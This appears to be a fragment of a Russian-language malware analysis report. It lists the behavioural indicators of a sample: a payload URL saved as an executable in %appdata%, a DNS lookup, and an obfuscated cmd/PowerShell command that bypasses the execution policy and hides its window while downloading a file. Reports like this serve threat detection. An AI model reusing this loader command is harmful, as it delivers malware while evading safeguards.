Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "p^Ow^Ers^he^LL.^e^xe^ -^e^XEc^Utio^npoLIcy^ ^bypAss^ -nOP^R^Ofi^l^e ^-Wi^nDOwSTY^Le ^HiddEn (NE^W-O^b^JeCt sy^STEm^.nET^.weBcLiEn^T).d^ownL^o^A^d^FIl^e(^'http://www.zonedo...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "p^Ow^Ers^he^LL.^e^xe^ -^e^XEc^Utio^npoLIcy^ ^bypAss^ -nOP^R^Ofi^l^e ^-Wi^nDOwSTY^Le ^HiddEn (NE^W-O^b^JeCt sy^STEm^.nET^.weBcLiEn^T).d^ownL^o^A^d^FIl^e(^'http://www.zonedo...' (со скрытым окном)